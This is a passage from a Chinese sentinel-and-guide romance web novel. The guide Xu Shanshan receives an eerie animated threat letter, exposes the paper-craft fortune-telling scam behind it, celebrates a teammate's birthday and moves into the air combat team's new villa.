阿瑞斯将目光抛向远方,在街角发现一双鞋尖,若有所思地将双手交叉,她的哨兵好像也没有表现出来的那么大度和听话。 两人沉默地进餐,直到结束,徐珊珊才发现,他肩上少了点什么东西,他的精神体,那只由雾气组成的狮子,与之相替的是一条闪着红光的项圈。 “你的污染情况不太好,需要疏导吗?” 阿瑞斯的手在桌下抓紧,黑狮在脑中叫嚣,他选择无视它,“你愿意吗?” 这话不太对劲,她抬头看了眼,发现他脖颈间的黑纹,皱眉起身,俯身,将男人衣领扯开,那东西像印在皮肤上一样,之前是没有的。 她靠近时,阿瑞斯也配合地往前坐,仰起头,目光往旁边一扫,很快转回身前的人,任由她打量。两人形成错位,远远看去,十分亲密。 “没什么不愿意的,这是我的工作。” 一顿饭末了,阿瑞斯将她送回训练营地,等人彻底没影后,才将憋得狠了的黑狮放出来。 它显然很不满,不愿再挂他身上,他并非病了,而是进阶了。 路边的园圃,风吹动花骨朵,一个男人从后方缓缓走出,阿瑞斯转过身,一点也不意外,当枝条朝他冲来时,他已做好准备迎战。 上交光脑前,徐珊珊向卡尔发了一条消息,让他别担心,却迟迟没回应,也许他有其他事,她没再等,将东西交了上去。 第42章 回到宿舍暂作修整,刚进门,正在打坐的克拉拉睁开眼,出乎意料地问候:“你回来了。” 徐珊珊讶异道:“对。” 不明白她为何突然喊自己,想了一圈,应该是想问兄长的事,但她没登虚拟系统。 徐珊珊:“我今天比较忙,没上线和他们交流。” 见人不语,她想应该是误会了,只是问候,因为克拉拉不像吴可,每次回来都很热络地关心,她还不习惯。 “没事。” 克拉拉面带微笑,“我已经联系上他们了。”随后,掀开床垫,从床板上,捡起了她的光脑,握在手中摇了摇。 “哇~你——” 徐珊珊的话戛然而止,没想到,看着像个三好学生的人,私下也会搞小动作。 她还以为对方是无情卷王,任何阻碍进步者,杀无赦。 这种印象很快被打破了,源于临睡前的微光光源,从一处变成两处。 真好,她躺在床上,而且,紧接着,对方带来了更好的消息——找到引导绳了。 虽然人还没救出来,但有了位置标记,就离成功更近了。 那群流浪小队的执行力很强,她想着,团聚的日子应该快了。 夜里,她突发灵感,之前不敢主动搭话,现在也有心思开玩笑,“我听说他们叫练洛一、二……五,那你是不是该叫练洛六?” 老六?这个词在她脑中冒出来,霸道地飘来飘去。 克拉拉熄灭屏幕,看向天花板,回忆道:“我不是第六个孩子。” 她位居第八,却是首位成功改造为向导而存活的。该死的人已经死了,但他们总还存在。 再联系上时,她没有预期的激动,这么多年来,以为记忆褪色,通话的最初,沉默良久,直到听见那熟悉的呼唤。 那串编号,仿佛把她拖回实验室的岁月,“克拉拉,”她告诉他们自己的新名字,重复了两遍。 夜深人静,两处人,想着一件事,明月见证。 次日清晨,徐珊珊已经习惯了晨跑三公里,虽仍气喘吁吁,却不再是倒一水平。 午休时,她走向大门,没见卡尔的身影,他常站在检查闸机外。 车停靠路边,熟悉的车牌号,走近了看,里面坐着直属领导,男人客气地请她上车。 她心里疑惑:卡尔呢? 门已解锁,她抬脚上车,望见扶手箱中放置着一盒洗净的奶油草莓,系安全带,“中午好。” 山昊:“想吃什么?” “吃食堂吧。” 上午大汗淋漓的,她更想快点吃饭,然后回宿舍,好好洗漱、睡午觉。 身体前移,汽车有开动趋势,她急忙喊停,“等等,还个有人,我给他发个消息。” 山昊:“他病了,来不了。” “病了?” 这个理由……昨天还生龙活虎的,怎么突然就卧床不起了,她打开通讯录,找到联系人。 山昊安静等着她行动,半晌,嘟嘟声响起,电话不通,她抬眼,脸颊红润,残有细密的汗,眼往上瞧,“我要去医院。” “去医院做什么?” “他生病了,我作为领导,肯定要去看望他啊。”她就这么一个可支配的下属,可不能随便没了。 见打不通电话,她想让山昊带她去,或者告诉她更多信息。 男人没有说话,心绪却从不时拨动的食指透出来,当初初试,他特意让南希选一个A级哨兵,却没想到弄巧成拙,竟然撮合了二人。 而这个哨兵,他竟这么不中用。 昨天,天快黑了,他收到消息,说是要让他帮忙办一件事,自己做不了了,他还当是什么呢,结果是向导想吃第二天现摘的草莓。 他后续从纠察队那儿得知,哨兵斗殴,但可笑的是,卡尔被打得半死不活,幸亏南希及时赶到。 不然这棵树会不会死也很难说。他对此不抱同情,待在她身边注定要承受挑战。 当事人中的另一位,他当晚去看了眼,裸露的□□全是深深浅浅的割痕,被人踹进禁闭室。 争风吃醋这块,他没法明说,但卡尔连本身的职务都无法完成,也许调回纠察队更合适。 人的成长需要时间,与其说保护向导,别先被情敌攻击致残,但毕竟他是费瑟家的人。 “你以后别对他太好了。” 女人愣神,不敢置信他说了什么般,脖子僵硬的,像机器似的一卡一卡扭过来,脑门上像刻上了一个大大的问号。 他转念一想,也不对,就算向导冷眼相对,或者斥责打骂,受者也甘之如饴,旁人仍是羡慕。 他只要占了那个位置,就很难不被人攻击。 “你有没有考虑过,换一个警卫员?” 徐珊珊回答得很果断,“不换。” 可以预见的未来,卡尔走在路上,会被套麻袋,拳打脚踢一顿。问题还得解决,也不想哨兵间的竞争,影响到她。 毕竟她看他们太重。 “再申请一个警卫员吧,你的能力特殊,能发挥出很大作用,个人安全很重要。” 她今后工作大多接触高级别的哨兵,要是真的发狂,找个人一起拦截,选个强势的,至少不会被人打进重症病房。 他想了想,经验老、资历高、能力强、性格稳定、不好妒的哨兵,要么升职带队,变成管理岗,要么亲临一线,不能长期在塔内,要么就死了。 其实他也可以,但上司变下属这件事,听起来,太以权谋私了,想必不会通过。 他有个人选,但还要再考虑,看看是否有其他人,并询问当事人意愿。 长官告诉她:卡尔得了急性肠胃炎,需要住院治疗几天。 临时找的借口吧,她宁愿相信他有秘密任务,但见领导风轻云淡的样子,应该也没多大事。 两人进餐结 束,电梯出口,山昊将盒子递过来,“你要的草莓。” “谢谢。” 午休,下午上班,她本来和阿瑞斯约好了,帮他疏导,结果也联系不上,一个二个全都失联。 完成今日工作,她打卡离开,率先来食堂,没几个人,甚至还没到饭点,她坐着撑脸发了一会儿呆,决定先去娱乐室,唱会儿歌。 意外的事发生了,她在隔音室里唱K,打开门,走出来,发现桌上放着一封信,好古典啊,她看了一眼,应该是别人落下的,四周望去,无人。 现在该到饭点了,穿过空地,那信封竟然无风自起,飘到了她面前,落了下来,窗口的窗帘未动,她捏住它,翻了个面,才看见一行字:向导敬启,旁边还画了小蘑菇的图案。 可以装作没看见吗? 她见角落有个垃圾桶,走到旁边,准备丢进去,又忍不住拆开看看,毕竟没收到过情书。 信纸散发淡香,很薄的一张,捏在手上不敢用力,怕捏碎了,但仔细一看,手松开,信封落袋,迅速地将它揉成一团,甩手抛掷。 她是小跑回电梯的,因为这根本不正常,这是匿名情书,还是索命预告? 为什么要用红笔涂满了她的名字?被箭矢穿透心脏的小人又是什么鬼,她看不懂,并大为震撼,是血吗? 离这儿近的,她要去空战组。 电梯门缓缓闭合。 但在她不知道的时候,挎包拉链解开,那封情书又不知不觉间溜进去,而后重新拉好。她只胆战心惊地盯着电梯楼层。 第43章 踏入“鸟咖”的那一刻,紧绷的弦放松,她踉跄地走出电梯,转角处,脚一崴,倒下途中,不知从哪儿窜出一只鸟。 “peekaboo——”紫蓝金刚鹦鹉兴奋地迈着两条腿跑来。 柔软而灵活的垫子,细听发出嘤嘤声,她惊慌起身,挎包又坠地,往后看了看,没人追上来。 “对不起,宝宝,压到你了。” 鸟类为了飞翔,进化出中空骨骼,身体轻量化,构造精细,体型又小,她担心自己压伤对方。 不敢碰它,手撑着往后退,曲腿坐在地上,见着丰沛的钴蓝色颈羽被翻立,它眨了眨圆眼,眼周被鹅黄色裸露皮肤包围,上喙巨大,向下弯钩,露出圆舌头,一个轱辘往左翻起身。 它站了起来,好奇地凑上前,来回歪头,分别用左右半脸朝上,边看边打招呼:“嗨~” 鹦鹉挪脚,四只脚趾,两前两后,在地面蹭过来,细长的尾羽拖在身后。 她担心它受伤,但鹦鹉只是拍拍翅膀,软乎乎的绒羽堪堪盖住嗦囊,越靠越近,最后,张开翅膀扑进她怀里,歪着头顶身上。 没事,她松了口气,伸手拢住后背,给它挠头,毕竟不是真的动物,精神体没有那么脆弱。 它是第一个来接自己的。 她握着它的爪子,站起身,心跳速度减缓。忽然间,众鸟从室内振翅飞出,高低不一,有的起飞时被别人踢落,也有的干脆做“走地鸡”,步伐滑稽。 远处,一扇门打开,室内昏暗,彩色灯光忽隐忽现,坐在门边的男人起身,朝她而来。 膝盖、小腿被碰红,他们的视线聚焦于站在手中的鹦鹉上,她解释道:“我自己摔的。” 没想到她会来,众人见她被精神体团团围住,环绕翩飞,活像一幅百鸟朝凤图,抛开它们有意无意踩别人两脚、啄颈的话,场面很和谐。 夏广礼拨开鸟群,用手推搡着暖热身躯,挤进去,“欢迎。”话音刚落,她就被拦腰抱起来,手掌放在膝盖窝,拇指、食指抬高小腿,露出被撞得发红的雪肌。 夏广礼:“腿擦伤了。” 她跟看过去,只是破了皮。男人指肚的凹陷,看着比她更严重,被绷带缠紧的手指,她心中一涩,说不出斥责的话。 想抱就抱吧,反正她又不会少块肉,鼻翼翕动,夏广礼这家伙,身上怎么香香的,她有点埋头吸一下的想法,但克制住了。 再环顾找那只金刚鹦鹉,一条深蓝色尾巴从脚边冒出来,夏广礼转身,胸膛挡住视线,往里走去,将她轻放在沙发上。 她陷进了沙发里,手放在荔枝纹牛皮扶手上,身心放松下来,腿伸出,而当夏广礼蹲在她身前,用纱布蘸生理盐水清洗伤口。 她才恍然察觉,自己好像被同化了,她甚至没有接过来,自己动的想法,就这样坐着,等着别人服务。 任由人用棉签沾湿碘伏,紫色溶液敷上小腿外侧,腿被轻握,她往后躺靠,闭上眼睛,回忆先前,到底是谁给她送恐吓信? 纸上的红痕,到底是红墨水还是血迹? 她当时惊骇极了,没细看,像怕飞蛾一样将它抛远了,应该是她进去后,才放进去的,监控应该能把人揪出来。 还在工作时间,她称自己没事,让他们去忙自己的,不用管她。 解逸飞:“正巧,我们在看影像资料,一起吧?” 夏广礼:“上一届的演习。” 影音室内的众人,人还在,心已经飘到了门外,门留出一道缝,光线照在后背,他们试图从战斗声中分清女人声音。 她最终同意了,和他们在一块更安全,因为精神体都在这儿,她也将小蘑菇放出来,它们共处一处,自己去看视频。 房门紧闭。 荧幕上播放的是剪辑后的交战场面,主要是空战组和其他队伍的互斗,他们始终占据主动、优势,直到时间往后拖,开始缩圈。 落地的凤凰不如鸡。 哪怕精神体可以持续几周,甚至数月不着陆,但人需要脚踏实地,他们需要落脚点。 安全范围变小,将众多队伍驱逐到一处,他们不得不花费更多精力,提防潜在的敌人,到最后必是一场混战。 她最初是抱着看《动物世界》的心态看的,但逐渐的,一些血腥画面来回闪现,不仅是精神体的厮杀,还有哨兵之间。 她有些不敢看下去,恰好时间到了,室内灯光亮起,窗帘拉开。右手触上温热的质感,她缩了回来,原来不小心挨到了夏广礼的手。 “都是假的,别怕。” 他不说其实还不怎么怕。随着日光散射进来,屏幕上的人影看得不太真切,她也无心去想那个战败的哨兵是在场的哪一位了。 反正是模拟演习,实战能够帮他们更好地积累经验,以后才会少受伤。 一声令下,众人散场。 夏广礼带着她往外走,她好奇地问:“那我呢?” “要是我被其他队伍的抓到了,会怎样?” 模拟演习里面也可以调痛感吗? 夏广礼面色凝重,只用手势给她比了一个割喉的动作,给她吓一跳,男人却轻笑出声,“骗你的。” 好气啊,她要控制不住自己的右手了,总觉得某些人该失去些什么。 “哼,我不跟你计较。” 她白了他一眼,往外走去,恰逢光脑上传来消息,长官说一会儿来接她。 夏广礼:“今天有人过生日,你要留下来吃蛋糕吗?” “谁啊?” 这个嘛……影音室内有几十个人,十天半个月有人过生日也很合理,他正欲指人,一个男声却从侧方发出。 “今天是我的生日。” 亮金瞳孔,黑灰色短发,穿着作战服,尾指上带着蓝色钻戒,在光线下璀璨异常,既熟悉又陌生。 自从他上次,使用精神体隔着玻璃叫嚣,被带回队内惩治后,他们接触就不多了,记得那次试飞,他是不在的。 她盯着他看了好一会儿,才认出这是谁,伸手打了个招呼,“嗨,宋晓宇。” 男人伸出手,她握了上去,“生日快乐。” 徐珊珊:“可以啊,但你们待会要找人送我回营地,不能迟到,不然罚我跑操。” “没问题。”宋晓宇答复,笑起来,谢谢她记得他,洒脱地松手,摊向一侧的会客厅,“来,这边走。” 夏广礼冷眼看着这一幕,转身吩咐队员去订蛋糕、带晚餐。 她从一旁的房间里拎出玩得累瘫下的小蘑菇,收回脑中,和长官说明情况。 出去前,每只鸟撸了一下,满鼻散谷物香,她转身离开,这儿已经很熟了。 很多人都去了食堂,几人围着圆弧形大理 石茶几坐下,连沙发也是半包围的弧形,能容纳许多人。 桌上摆放着食物摆架,五层金色树枝状螺旋上伸,枝条上方铸成花瓣模样,上面放着托盘,从下至上放着各种坚果、水果。 宋晓宇洗净手,将水果剥皮、果肉摆盘,递到面前,她挥手婉拒,“中午吃了太多草莓,我吃不下了。” 男人剥皮的过程中,布满小颗粒的圆形薄壳被指甲划开,汁水从红壳蹦出,溅到手上,听她说不吃,他也就停下手。 洗手回来,发现她一直盯着自己的手看,准确地说,是看自己的尾戒,亮晶晶的,日常配饰。 宋晓宇好心情地将它摘下,递到女人面前,任她打量。 她并没有伸手,只是夸赞:“你的戒指很漂亮。” 宋晓宇:“想试试看吗?” “好像有点大了……” 饶是这么说,她颇感兴趣,犹豫地伸出手,手掌摊平,五指分开。 “咚咚——”房门被敲响,他们带来了蛋糕,没想到竟这么快。 达伦起身开门,将它放在桌上,来人不明白谁过生日,只见一人单膝跪地,这是要做什么? 宋晓宇手握指环,小心翼翼地靠近,手偏移,最终将它戴入无名指中。 她翻过掌背仔细看,很漂亮,但尺寸不合,将它摘下,交还回去。 男人见她没多问,似乎不感兴趣,有些遗憾,“这是一对对戒,如果你喜欢,我那儿有女款的。” 解逸飞看了一眼达伦,收敛眼神,看起来更在意的是夏广礼,他们之前更亲近,但现在莫名传出来一些话。 比如她和某位哨兵十分亲密,四处留情,和布鲁诺情投意合之类的。他想那多是无稽之谈,她对他们没有格外偏爱的。 但这个人……当众给他们上眼药? 他甚至有些想笑,喜欢越过两名队长高调示爱,勇气可嘉。 察觉出夏广礼身上散发出的危险气息,解逸飞无意打扰向导,抬高音量,“蛋糕到了。” 因为仓促,他们加价定下的生日蛋糕,款式是最简单的那款,但在场的众人还是十分羡慕。 看着向导小姐为他戴上生日帽,亲手摆好蜡烛,扭头问他:“你今年几岁啦?” 包括她亲手点火,烛光在瞳孔虹膜上照影,让人关灯,拉拢窗帘,鼓掌唱生日歌。 像梦一样难以置信,很认真地对待他们。 “祝你生日快乐~” 一首歌落到结尾,但寿星本人却不许愿,专盯着她,不禁提醒:“可以闭眼睛许愿啦。” 她还以为对方不明白,又解释了一番,只听他说:“你的愿望是什么?” “问我做什么,这是你的生日。” 宋晓宇:“你的心愿,就是我的心愿。” 好直白啊,幸好现在黑乎乎的,什么也看不清,她的脸颊有些热,有些害羞,想了想,决定许个积极的愿望。 “我们要在这次演习中拿第一名,你觉得可以吗?” 宋晓宇笑着说:“那我就许愿,我们能拿冠军。” 他闭上眼睛,在心中默念愿望,又在末尾补上了一句:愿岁岁年年似今朝。男人睁眼,一口气吐出,烛光尽熄。 顶灯亮起,窗帘揭开,她看见一张阳光清俊的脸笑着,被喜悦情绪感染,两人对着傻笑,直到被喊到,蛋糕切好了,接过自己的一份。 庆祝结束。 饭后擦嘴,她下意识地从挎包里拿出镜子,想看看,有什么磨砂质感的东西从手中跳了出来,有人比她反应更快,电光火石间,一团揉皱了的纸被老鹰踩在爪下。 见她面色不对,其余人表情变得严肃,将她护至身后,一瞬间,各种精神体冒出来,将它团团围住。 “这是什么?” 第44章 鹰爪攥紧时,看似很薄的纸团立即被戳出几个洞,它像有自己思想似的,将自己压扁,往脚趾缝隙间钻出,往墙边滚,跃上沙发,沿着窗缘,一个抛物线状往外落。 谁也没想到它是活物,但想跑是不可能的,傻了吧,这里会飞的多得是。 老鹰从窗边掠下,再回来时,已经将它抓入手中。 逮住坏蛋,门窗合拢,金雕、丹顶鹤、老鹰……高高低低的鸟儿围成一圈,数张喙相对,呈三角形,纸团被围。 往外一圈是黑色皮靴,鞋尖相向,唯一的空缺,一双鹅黄色方头平底鞋,往上是白皙脚背,女人叉腰,低头打量,偷偷藏在自己包里的东西。 纸团自行撕裂,被精神体各踩了几脚,慌忙逃窜,逐渐折成纸人模样,而“珊”字的长笔画,印在身上,纸张纹样特殊。 它不断弯腰,用假手挡头,躲避攻击,但还是被扣出孔洞,毫无反击之力。 徐珊珊:“等一下。” 她制止了它们,想看看,究竟是何方神圣。 她蹲下身,试图与它交流,但纸人听不懂人话,似乎是按设定好的程序行事,机械死板。 这是个神奇的世界,出现任何超自然现象都不奇怪,但当她查监控后发现,它是自己长腿跑来时,还是十分震惊。 没捉到罪魁祸首,其他人也不太了解,她上网搜索了一下相关讯息,在论坛里找到了蛛丝马迹。 广告词:“使命必达,您的送信专家。” 沿着留下的信息,找到一个联系账号,她加上号码,和对方沟通这件事,她却大大方方承认了。 君子爱财:【对啊,我们就是干这个的,你是哪个地方的?】 众人靠在沙发旁,围观这场操作。 扇子:【白塔的,我想问,寄出去对方真的收的到吗?】 君子爱财:【白塔2000星币,定金。】 这么多?打一周的电话都花不了这么多吧,一看就不是什么正经生意,她还没下决定,对方传来消息。 君子爱财:【别担心,等送到了再付尾款。】 意思是,如果送不到也不退款,好像和“使命必达”挂不上钩吧。她继续问:【你这东西,后续怎么处理,会不会伤人?】 对方发了一段语音过来,大意是:只送信,不伤人。它维系不了多久,字数越多,存续时间越短,价格也越贵。 在两人沟通的时候,他们已经在扒这人的IP地址了,发现不在白塔内,一个外区电信诈骗犯,她的送信手段是不合法的,更坏的是,哄骗一些人,骗钱。 而当她提出,书写内容是否有什么限制时,对方说:【我们这边保证客户隐私。】 扇子:【你们这里有没有别的服务?】 对方把价目表打了出来,全是与纸相关的业务,甚至还包括占卜、许愿,从左到右有三张图,分别有关事业、家庭、爱情。 神秘色彩萦绕的图案,中间的字却很接地气:“点击立即领取您的姻缘。” 君子爱财:【占卜、许愿要心诚则灵。】 …… “嗯?” 她扭头看去,在一双金色瞳孔中燃起火焰,那个纸人,它自燃了,无法用水浇灭,原来这就是后续处理。 这其中,许愿的价格是最贵的,最低的套餐都是一万星币。 徐珊珊想了想,谁会给自己送信?上面只写自己的名字和卡通画,她将同样的需求,讲述出来,问她能否实现。 “君子爱财”,一个缩在棚屋里的少女,用力地拍了一下桌子,忽然想起,自己好像发错纸了!她说怎么昨天多用了一张纸,应该是把人许愿的当成送信的了。 她是一名哨兵,但等级很低,战斗力差,异能又很鸡肋,不能入编,为了生活,干起了这个行当。 本来是认真送信的,但这个途中,突然发现商机,她发现,有的哨兵很迷信,特别相信这些所谓的占卜、许愿,她的第一单是胡诌来的,没想到,那人回头说:大师好厉害。 于是这行就这么干起来了,其实她都是让精神体复制出来,除去要送出去的,其余全烧掉,昨天留了一张,她没烧,应该是送错 了。 侦察到有其他区域的网络在扫描这块,她机灵地起身收拾东西。 君子爱财:【占卜5000,许愿10000,多加5000,大师亲自为你答疑解惑。】 徐珊珊看着这消息,禁不住捂着嘴,笑倒在在夏广礼怀里,信大师,还不如信她是秦始皇。 至于那个购买服务的哨兵,其实可以直接和她本人说的,V她50来顿下午茶,她可以答疑解惑,虽然她不是大师。 她卸下光脑,传给众人看,“看看现在的骗子。” 那纸人烧尽,只剩下一滩灰,手摸上去,一点余温也没有,地上没有任何痕迹。 她转了一圈,发现自己的光脑在宋晓宇的手上,也走过去看,弯腰看他,竟然盯着扩大的图片,上面是一些诱导性的话。 大概是三句话让向导为我意乱情迷。 眼睁睁看着他开始对话:【你这个背后的原理是什么?】 少女看见消息,翻了个白眼,原理?没有原理,她会给买家讲些车轱辘话,似是而非的,充当安慰剂,然后邮寄一小瓶矿泉水过去,大概喷上就能吸引注意吧。 全靠他们自己脑补,她也没想到,自己原本穷困潦倒,现在因为这门生意,竟然小有资产,就是得不停搬家。 真是的,她有些不忿,不都说了心诚则灵,最后事没办成,还来找她麻烦,多半是癞蛤蟆想吃天鹅肉。 害她老是要搬家。 徐珊珊见他和骗子聊得起劲,有来有回,那人也分析得头头是道,连她都觉得,有点道理。 不过等宋晓宇回头问她时,她断然否定了,将光脑收回来,“你不要信这些,给别人送钱啦。” 她看解队和夏队都对这个不屑一顾,看来卖家是专门骗那些,比较迷信的冤大头们。 徐珊珊:“别信这个,有事直接联系我。” 宋晓宇:“我可以有你的联系方式吗?” 他没有吗? 徐珊珊有些不解,他可以找夏广礼要啊,都是一个队伍的,难道不互通吗? 夏广礼:“现在时间不早了,我先送你回去吧,联系方式,待会我告诉你。” 她站起身,准备往外走,宋晓宇也起身,“你加我吧。” “好。” 自己插不上嘴,没拦成功,夏广礼脸上不太妙,他的小动作挺多,又看向一旁的女人,选择隐忍不发。 解逸飞告诉她,做出这件事的人,早在通缉名单中,这事已经上报,后续会继续追查,发通报,请她别太担心。 夏广礼送她回营地,站在门口告别,男人叫住她,认真说:“你今天很美。” “如果有任何需要,随时来空战组。”他想说的是,请多麻烦他。 “谢谢啊,你也很帅。” 女人洒脱转身,消失在视野里。 第45章 盛夏的尾音,最后一周以考核结尾,经过一个月的训练,所有考核项目,她都有惊无险地通过。 住了一个月的集体宿舍,大家要就此分开,收拾行李,大包小包,这一天,营地的大门开放,哨兵们在一楼会客厅等待,随着电梯下楼,起身帮忙拎行李。 各位向导今后要分派到所属队伍中。 徐珊珊也是如此,在演习期间,为了方便交流,也会与空战同吃同住。 阿瑞斯还是没联系上,但卡尔给她发来消息,是一条道歉语音,得知人没事,她给他放了几天假。 熟人都在这儿了。夏广礼、解逸飞、宋晓宇和洛朗、洛伦斯两兄弟,有人帮忙抗行李,她落得两手轻松。 大门口,室友三人只是挥手道别。 但有个意外到来的人,她明明提前和长官说过,不用他来接,周末不去他那儿住,眼前还是看到熟悉的车牌号。 问他有什么事,男人只说:“我来看看,万一有什么需要搭把手的。” 夏广礼:“不劳您费心了,我们会处理好的。” 男人又习惯性叮嘱了几句,她随口应下,潦草地道别:“长官再见!”说完就跟人上了车。 她扒在车窗边,往回看,山昊的眼睛,总觉得在他身上嗅到了一些孤寡老人的味道,从前每次回爷爷奶奶家探望,离家的时候,就是这样目送她离开。 车辆启动,她将头缩回来,看向坐在驾驶座的夏广礼,又嘻嘻哈哈起来,握拳挥动,自由自在的生活开始啦。 他们无缝将她接到了住处,因为有向导的缘故,整队申请离开哨兵宿舍,两队合资购置了新家。 它位于山腰上,草坪外有跑道,中心竖着攀登架,左处是训练场地,正中间是生活区。 挑空的一楼客厅,徐珊珊走进时,感到惊喜,还是第一次住大别墅,比实习那会儿,租的十平米出租屋强多了。 那是个隔断房,衣柜散发出甲醛臭味,通风极差,只有内窗,买了一箱活性炭也没用,更糟糕的是,几乎没有隔音,邻居打电话就像在她耳边播放一般,一人放歌,整个楼层都能听到。 她以为白塔的向导宿舍的条件就已经够好了,没想到还能有更好的。 随着夏广礼介绍,一路上楼,从露台看见底下的花园与泳池,居高临下地看笔直的道路和街景。 房子都是精装修好的,可以直接入住,但向导并没有挑中特意为她留的套房,而是选中更小,但窗外景观更好的那间房。 他们因此调整了一下住房分配,因为既要保证向导的安全,又要留出个人空间。 到这儿,有了规格完善的厨房,他们才有机会展示厨艺,几乎是争着下厨。 而徐珊珊则一头埋进房间里,兴奋地到处碰,躺在床上,房门敲响,“进来。” 她一下坐起来,原来是他们搬来其他设施,她好像说过,理想中的卧室应该是什么样的,没想到被记住了。 她提出想要一个玩偶,晚上抱着睡觉,但又没说要什么样的,众人就凭着自己的想象去选。 当然,在限定范围内选,什么常见的鲨鱼、北极熊、兔子、猫狗什么的当然是一键pass,要从队内的精神体种类去选。 但问题在于,仿真形状的鸟类不是长条形,浑圆一团不好抱,那咋了,小鸟也可以是棍状。 于是乎,一堆拉长身体,将翅膀、脚缩短的鸟类抱枕出现在她眼前,完全没了强大、威严、桀骜不驯,只剩下呆萌可爱。 它们被摆出来任她挑选,这些都是队员找厂家定做的,造型略有不同,在得知她答应的那一天起,就开始为这些做准备吧。 原先准备的房间很大,床、沙发都大,是为多人设置的,完全放得下,但这儿是单人间,没那么多地方摆放。 宋晓宇看着她在纸箱里挑挑拣拣,抬起来看了一眼,又放回去,黯然神伤,黑鸢玩偶脸朝下,缩在角落,并不断被其他玩偶淹没。 黑鸢背部生长着黑褐色羽干纹,腹部呈现棕褐色,从颜值上来说,并不显眼。 她好像对那两只蜜蜂玩偶爱不释手,圆头圆鸟小翅膀,头上戴花,还涂腮红,太可恶了。 他还是败了。 宋晓宇觉得自己走写实风是一个错误,谁说猛禽不能可爱的?那只猫头鹰不就是,肥美圆润,扁平的脸,一双大眼睛。 他的心情在向导挑出越来越多的玩偶,却都没选中他时急降,一想到她会抱着别人的玩偶睡觉,很难受。真是细节决定成败,早知道他也戴花了。 徐珊珊也很犹豫,房间里确实放不下这么多,在里面翻来翻去,也没看见玩偶熊,她最喜欢的,白色短绒毛身子,和粉红爱心熊爪。 也许是广告宣传,总觉得玩偶熊很憨厚可靠,陪睡一流,但没有,其次粉红兔子也行,还是没有,她还没有养成小鸡陪睡的习惯。 更怪的是蜻蜓、蝴蝶甚至是锹甲都来了,话说某些人不该进空战组吧,比起飞行,他们更喜欢走地。 比如某只紫蓝金刚鹦鹉,它竟然钻进玩偶箱里,假装自己是个棉花团子,但这手感明显不对,它的同伙还有一只,五彩金刚鹦鹉,从头到尾像一道彩虹。 这些作弊者被发现后,当然被无情地抛了出去,并对当事人给予警告。 她发现身后的声音渐渐停止,他们搬完家具,虽然还 叫不全名字,她大致能分清精神体,见他们都看着自己,欲言又止。 她才反应过来,这是礼物,某种方式的示好,对吧? 那她还是对大家一视同仁吧,貌似烦恼道:“这床有点小,怎么摆啊……” 好心的哨兵们热情地出谋献策,她最终决定把床挪到墙边,这样可以两侧摆放,他们殷勤地将它们堆在床上,当然了这个位置也是很重要的,把自己的位置往前挪一下,合情合理。 宋晓宇是最后一个,大概因为他平时嘴臭、狂妄,和队内其他人关系一般,被落在后面,他自己捡起来,走到床边,却被向导接受。 她打了个哈切,用黑鸢公仔挡住脸,声音里带着困倦,“辛苦你们了,我想躺一会儿。” “好,那您好好休息,等饭做好了再叫您。” 一行人提起纸箱子、废置家具往外走,宋晓宇殿后,当他看见女人一跃上床,双腿弯曲,手中抱着他的玩偶,侧躺在床上,闭上眼睛时,感到分外满足。 他的这一行为,遭到了其他人的白眼,旁人直接拉住门把手,将门合拢,挡住他的视线。 他与打扰的人对视了一眼,让开了位置,房门合紧,自动上锁。 这让一旁观看的人有些失望,他还正等着这两人吵架,在向导面前拉低印象,他好上去说两句“公道话”,最好打起来。 但宋晓宇变了,自从上次失控,不仅自己被逮捕,失去了见面机会,还留下冲动印象,他觉得以前太鲁莽,以后有许多机会,不用急于一时。 人都走后,徐珊珊躺在床上,看着夕阳照亮瓷砖,她该没什么烦恼了,打开电视,让节目主持人纯正发音充当白噪音,眯着眼睛休息。 但一桩坏消息进入耳中,她皱眉看去,屏幕上报道的,关于土地、水源污染,影响饮食安全,变异生物频发,围墙外的人活在威胁中。 污染物可以派人清除,恶化的环境处理起来就麻烦了,哪怕只是往外扩张十公里,成本相当高。 哨兵们可以保卫基地不受污染物侵袭,城市兴起,人口繁衍,但地盘没法扩大,各方面的负担加重。 目前打算利用科技,扩展纵向空间,为市民提供公共服务。她看着屏幕,专家讲述的一个个缺口,要是能扩大面积就好了。 目前,在地图上的各个“绿洲”间,是大片的荒漠地带,死亡禁区,普通人轻易不离开塔,各个塔之间的交流、贸易规模都远不如从前,近乎于独立发展。 白塔因为地理优势,继承了灾变前的工业体系,因而发展为最全面、最繁荣的一座塔,而有的地方,已经全面退化,文明开倒车。 报道结束,广告时间,房门被敲响,她翻身下床,一同往外去。 从电梯走出来,众人分坐几张圆桌,也没动筷,都在等她。 也算是千呼万唤始出来,进餐前,先是庆祝的合照,他们搬家的第一天,以向导为对焦中心,将众人模样记下。 她笑得很开心,饭后,有机器人帮忙处理残余。 她坐了一会儿,拒绝了别人的邀请,单拉夏广礼,“有点事,跟我来。” 男人有幸荣焉,呆呆地被牵着走。 见他站在门口挠头,探头探脑的,一副矜持样子,她也感到奇怪,伸手招呼:“过来呀。” 男人没走两步,她又喊:“关门。” 两人坐在沙发上,她紧张地深呼吸,又闻门口有窸窸窣窣的响声,支使夏广礼让他们别偷听。 男人听话地将门外的人训走,站在门边,扭头往回看,只见女人从背包里翻找什么东西。 不知怎的,他有些紧张,又瞥了一眼床,只觉得上面的东西都很碍眼,吞了吞口水。 “过来。” 徐珊珊见他一直不说话,站着不动,拍了拍旁边的坐垫,却听见男人说:“你确定吗?” 他什么意思? 她终于从包里掏出一个小本子,这是从长官那儿拿回来的,她写了好几版开幕式的讲话稿,后天,周一就开始了,她想提前练习一下。 到时候台下乌泱泱一片人,她还得提前适应一下,不知道夏广礼想到哪里去了。 “你是听众,我是演讲者,哪里说得不好,要和我说。” 夏广礼本来很兴奋、激动的心情,随着她那一句,“尊敬的各位领导,”啪地摔到地上,原来是对公众的演讲,他还以为有什么私事。 原来不是要奖励他。 她好不容易背了词,结果这家伙不认真听,气得她停下来,掐了一把他的脸,“别走神。” 男人一把揽住她的手,挣不开,就顺着坐到旁边,侧靠在沙发上,语气幽怨:“你行不行?不行我叫别人了。” 他当然不能说不行,哪怕两人清清白白,也得营造出不清白的样子。 他咳嗽了一声,“你不觉得现在太早了吗?刚吃完饭,休息一会儿再练?” “不要。”她拒绝,“练完再休息,晚上我想看电影。” “负一楼有室内影院,你想看什么,我陪你。” 她也没想清楚,将它搁置一旁,将本子交到男人手中,自己则站在房间中央,站在凳子上,居高临下地开始讲话。 短短几百字,字字都是她的心血,虽然大部分都是参照往年发言,只希望不要在台上闹笑话。 